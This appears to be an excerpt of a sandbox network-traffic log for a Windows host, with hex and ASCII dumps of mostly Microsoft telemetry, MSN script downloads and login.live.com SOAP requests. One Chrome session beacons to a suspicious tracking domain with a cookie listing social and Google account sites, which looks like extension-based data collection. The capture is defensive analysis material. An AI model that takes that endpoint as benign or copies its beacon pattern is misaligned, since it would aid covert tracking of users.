USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; _C_ETH=1
2024-04-23 21:02:30 UTC	4257	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 34 2d 32 33 54 32 31 3a 30 32 3a 32 38 2e 35 34 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 37 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 30 33 61 63 66 62 62 2d 32 63 36 30 2d 34 39 63 61 2d 38 61 64 35 2d 36 35 31 62 30 33 36 61 62 35 30 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 31 34 30 38 36 31 35 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-04-23T21:02:28.543Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":7,"installId":"f03acfbb-2c60-49ca-8ad5-651b036ab50a","epoch":"2314086152"},"app":{"loc
2024-04-23 21:02:32 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3239cf5f2dc24b9db31c649c11291cde&HASH=3239&LV=202404&V=4&LU=1713906152122; Domain=.microsoft.com; Expires=Wed, 23 Apr 2025 21:02:32 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=932bc2e4d2ce45d4b1b227675fed5dfe; Domain=.microsoft.com; Expires=Tue, 23 Apr 2024 21:32:32 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3578 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 23 Apr 2024 21:02:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49947	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:30 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-23 21:02:30 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:30 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_SN1 x-ms-request-id: 87a796f3-1c38-4a88-8368-de2fd4c0b90c PPServer: PPV: 30 H: SN1PEPF0002FA19 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:30 GMT Connection: close Content-Length: 11392
2024-04-23 21:02:30 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	49951	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:30 UTC	535	OUT	GET /bundles/v1/edgeChromium/latest/node_modules_xmlbuilder2_lib_xmlbuilder2_min_js.365db5621a87ab118310.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:31 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: ADMjeivkNdOmjirUBpDMlw== Last-Modified: Fri, 19 Apr 2024 19:35:47 GMT ETag: 0x8DC60A7E9D55154 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: cff49b7f-b01e-0088-4e36-9465fa000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:31 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402750850,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017d82 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906150.18017d82 Vary: Origin
2024-04-23 21:02:31 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6c 69 62 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6d 69 6e 5f 6a 73 2e 33 36 35 64 62 35 36 32 31 61 38 37 61 62 31 31 38 33 31 30 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 78 6d 6c 62 Data Ascii: 00006000/! For license information please see node_modules_xmlbuilder2_lib_xmlbuilder2_min_js.365db5621a87ab118310.js.LICENSE.txt /(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["node_modules_xmlb
2024-04-23 21:02:31 UTC	9395	IN	Data Raw: 72 3d 46 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 33 29 2c 69 3d 5b 22 6b 69 6e 64 22 2c 22 72 65 73 6f 6c 76 65 22 2c 22 63 6f 6e 73 74 72 75 63 74 22 2c 22 69 6e 73 74 61 6e 63 65 4f 66 22 2c 22 70 72 65 64 69 63 61 74 65 22 2c 22 72 65 70 72 65 73 65 6e 74 22 2c 22 64 65 66 61 75 6c 74 53 74 79 6c 65 22 2c 22 73 74 79 6c 65 41 6c 69 61 73 65 73 22 5d 2c 6f 3d 5b 22 73 63 61 6c 61 72 22 2c 22 73 65 71 75 65 6e 63 65 22 2c 22 6d 61 70 70 69 6e 67 22 5d 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 2c 61 3b 69 66 28 74 3d 74 7c 7c 7b 7d 2c 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e Data Ascii: r=F},function(e,t,r){"use strict";var n=r(53),i=["kind","resolve","construct","instanceOf","predicate","represent","defaultStyle","styleAliases"],o=["scalar","sequence","mapping"];e.exports=function(e,t){var r,a;if(t=t\|\|{},Object.keys(t).forEach((function
2024-04-23 21:02:31 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 3b 6f 28 53 74 72 69 6e 67 2c 22 53 74 72 69 6e 67 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 28 74 68 69 73 2c 7b 74 79 70 65 3a 22 53 74 72 69 6e 67 20 49 74 65 72 61 74 6f 72 22 2c 73 74 72 69 6e 67 3a 53 74 72 69 6e 67 28 65 29 2c 69 6e 64 65 78 3a 30 7d 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 3d 73 28 74 68 69 73 29 2c 72 3d 74 2e 73 74 72 69 6e 67 2c 69 3d 74 2e 69 6e 64 65 78 3b 72 65 74 75 72 6e 20 69 3e 3d 72 2e 6c 65 6e 67 74 68 3f 7b 76 61 6c 75 65 3a 76 6f 69 64 20 30 2c 64 6f 6e 65 3a 21 30 7d 3a 28 65 3d 6e 28 72 2c 69 29 2c 74 2e 69 6e 64 65 78 2b 3d 65 2e 6c 65 6e 67 74 68 2c 7b 76 61 6c 75 65 3a 65 2c 64 6f 6e 65 3a 21 31 7d 29 7d 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c Data Ascii: 00006000;o(String,"String",(function(e){a(this,{type:"String Iterator",string:String(e),index:0})}),(function(){var e,t=s(this),r=t.string,i=t.index;return i>=r.length?{value:void 0,done:!0}:(e=n(r,i),t.index+=e.length,{value:e,done:!1})}))},function(e,
2024-04-23 21:02:31 UTC	8204	IN	Data Raw: 5f 65 6e 64 5b 30 5d 3d 63 2c 45 2e 5f 65 6e 64 5b 31 5d 2b 3d 70 29 2c 45 2e 5f 73 74 61 72 74 5b 30 5d 3d 3d 3d 67 2e 5f 70 61 72 65 6e 74 26 26 45 2e 5f 73 74 61 72 74 5b 31 5d 3d 3d 3d 62 26 26 28 45 2e 5f 73 74 61 72 74 5b 30 5d 3d 63 2c 45 2e 5f 73 74 61 72 74 5b 31 5d 3d 70 29 2c 45 2e 5f 65 6e 64 5b 30 5d 3d 3d 3d 67 2e 5f 70 61 72 65 6e 74 26 26 45 2e 5f 65 6e 64 5b 31 5d 3d 3d 3d 62 26 26 28 45 2e 5f 65 6e 64 5b 30 5d 3d 63 2c 45 2e 5f 65 6e 64 5b 31 5d 3d 70 29 7d 7d 63 61 74 63 68 28 65 29 7b 72 3d 7b 65 72 72 6f 72 3a 65 7d 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 77 26 26 21 77 2e 64 6f 6e 65 26 26 28 6e 3d 78 2e 72 65 74 75 72 6e 29 26 26 6e 2e 63 61 6c 6c 28 78 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 72 29 74 68 72 6f 77 20 72 2e 65 72 72 6f Data Ascii: _end[0]=c,E._end[1]+=p),E._start[0]===g._parent&&E._start[1]===b&&(E._start[0]=c,E._start[1]=p),E._end[0]===g._parent&&E._end[1]===b&&(E._end[0]=c,E._end[1]=p)}}catch(e){r={error:e}}finally{try{w&&!w.done&&(n=x.return)&&n.call(x)}finally{if(r)throw r.erro
2024-04-23 21:02:31 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 7b 74 72 79 7b 45 26 26 21 45 2e 64 6f 6e 65 26 26 28 6c 3d 77 2e 72 65 74 75 72 6e 29 26 26 6c 2e 63 61 6c 6c 28 77 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 61 29 74 68 72 6f 77 20 61 2e 65 72 72 6f 72 7d 7d 69 66 28 72 29 7b 69 66 28 76 3d 3d 3d 75 2e 4e 6f 64 65 54 79 70 65 2e 44 6f 63 75 6d 65 6e 74 54 79 70 65 29 74 68 72 6f 77 20 6e 65 77 20 73 2e 48 69 65 72 61 72 63 68 79 52 65 71 75 65 73 74 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 69 6e 73 65 72 74 20 61 6e 20 65 6c 65 6d 65 6e 74 20 6e 6f 64 65 20 62 65 66 6f 72 65 20 61 20 64 6f 63 75 6d 65 6e 74 20 74 79 70 65 20 6e 6f 64 65 2e 22 29 3b 66 6f 72 28 76 61 72 20 44 3d 72 2e 5f 6e 65 78 74 53 69 62 6c 69 6e 67 3b 44 3b 29 7b 69 66 28 44 2e 5f 6e 6f 64 65 54 79 70 65 Data Ascii: 00004000{try{E&&!E.done&&(l=w.return)&&l.call(w)}finally{if(a)throw a.error}}if(r){if(v===u.NodeType.DocumentType)throw new s.HierarchyRequestError("Cannot insert an element node before a document type node.");for(var D=r._nextSibling;D;){if(D._nodeType
2024-04-23 21:02:31 UTC	12	IN	Data Raw: 28 65 29 3a 6e 28 65 2c 7b 7d 0d 0a Data Ascii: (e):n(e,{}
2024-04-23 21:02:31 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 29 7d 2c 67 65 74 74 65 72 46 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3b 69 66 28 21 75 28 74 29 7c 7c 28 72 3d 69 28 74 29 29 2e 74 79 70 65 21 3d 3d 65 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 63 6f 6d 70 61 74 69 62 6c 65 20 72 65 63 65 69 76 65 72 2c 20 22 2b 65 2b 22 20 72 65 71 75 69 72 65 64 22 29 3b 72 65 74 75 72 6e 20 72 7d 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 21 31 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 7b 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 76 61 72 20 6e 3d 72 28 31 32 30 29 2c 69 3d 72 28 31 31 29 2c 6f 3d 66 75 Data Ascii: 00004000)},getterFor:function(e){return function(t){var r;if(!u(t)\|\|(r=i(t)).type!==e)throw TypeError("Incompatible receiver, "+e+" required");return r}}}},function(e,t){e.exports=!1},function(e,t){e.exports={}},function(e,t,r){var n=r(120),i=r(11),o=fu
2024-04-23 21:02:31 UTC	12	IN	Data Raw: 6c 2c 65 2e 5f 76 61 6c 75 65 0d 0a Data Ascii: l,e._value
2024-04-23 21:02:31 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2c 65 2e 5f 6e 61 6d 65 73 70 61 63 65 5d 29 2c 6e 2e 64 6f 6d 2e 66 65 61 74 75 72 65 73 2e 73 74 65 70 73 26 26 63 2e 64 6f 6d 5f 72 75 6e 41 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 53 74 65 70 73 28 74 2c 65 2e 5f 6c 6f 63 61 6c 4e 61 6d 65 2c 6e 75 6c 6c 2c 65 2e 5f 76 61 6c 75 65 2c 65 2e 5f 6e 61 6d 65 73 70 61 63 65 29 2c 74 2e 5f 61 74 74 72 69 62 75 74 65 4c 69 73 74 2e 5f 61 73 41 72 72 61 79 28 29 2e 70 75 73 68 28 65 29 2c 65 2e 5f 65 6c 65 6d 65 6e 74 3d 74 2c 74 2e 5f 6e 6f 64 65 44 6f 63 75 6d 65 6e 74 2e 5f 68 61 73 4e 61 6d 65 73 70 61 63 65 73 7c 7c 6e 75 6c 6c 3d 3d 3d 65 2e 5f 6e 61 6d 65 73 70 61 63 65 26 26 6e 75 6c 6c 3d 3d 3d 65 2e 5f 6e 61 6d 65 73 70 61 63 65 50 72 65 66 69 78 26 26 22 78 6d 6c 6e Data Ascii: 00006000,e._namespace]),n.dom.features.steps&&c.dom_runAttributeChangeSteps(t,e._localName,null,e._value,e._namespace),t._attributeList._asArray().push(e),e._element=t,t._nodeDocument._hasNamespaces\|\|null===e._namespace&&null===e._namespacePrefix&&"xmln
2024-04-23 21:02:31 UTC	8204	IN	Data Raw: 64 6c 65 72 4d 61 70 3d 7b 7d 29 7d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 76 6f 69 64 20 30 3d 3d 3d 72 26 26 28 72 3d 7b 70 61 73 73 69 76 65 3a 21 31 2c 6f 6e 63 65 3a 21 31 2c 63 61 70 74 75 72 65 3a 21 31 7d 29 3b 76 61 72 20 69 2c 73 3d 6e 28 61 2e 65 76 65 6e 74 54 61 72 67 65 74 5f 66 6c 61 74 74 65 6e 4d 6f 72 65 28 72 29 2c 33 29 2c 75 3d 73 5b 30 5d 2c 6c 3d 73 5b 31 5d 2c 63 3d 73 5b 32 5d 3b 74 26 26 28 69 3d 6f 2e 47 75 61 72 64 2e 69 73 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 29 3f 74 3a 7b 68 61 6e 64 6c 65 45 76 65 6e 74 3a 74 7d 2c 61 2e 65 Data Ascii: dlerMap={})},enumerable:!0,configurable:!0}),e.prototype.addEventListener=function(e,t,r){void 0===r&&(r={passive:!1,once:!1,capture:!1});var i,s=n(a.eventTarget_flattenMore(r),3),u=s[0],l=s[1],c=s[2];t&&(i=o.Guard.isEventListener(t)?t:{handleEvent:t},a.e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	49950	23.106.238.238	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:30 UTC	549	OUT	GET /ext/antlog?1=1&from=Chrome3 HTTP/1.1 Host: xot.traxa41.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gxid=6628213c59b94; installed=true; clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com
2024-04-23 21:02:31 UTC	1072	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 20:59:45 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Expose-Headers: Penblock Block: 2 Kenblock: enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Penblock: 2-enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Expires: Sat, 01 Jan 2000 00:00:00 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE Set-Cookie: installed=true; expires=Wed, 23-Apr-2025 20:59:45 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com; expires=Wed, 23-Apr-2025 20:59:45 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Img-Error: undefined
2024-04-23 21:02:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.4	49952	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-23 21:02:31 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:31 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_SN1 x-ms-request-id: 01b287bc-03b3-49d9-886b-16404da23717 PPServer: PPV: 30 H: SN1PEPF0002F11B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:31 GMT Connection: close Content-Length: 11392
2024-04-23 21:02:31 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.4	49954	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
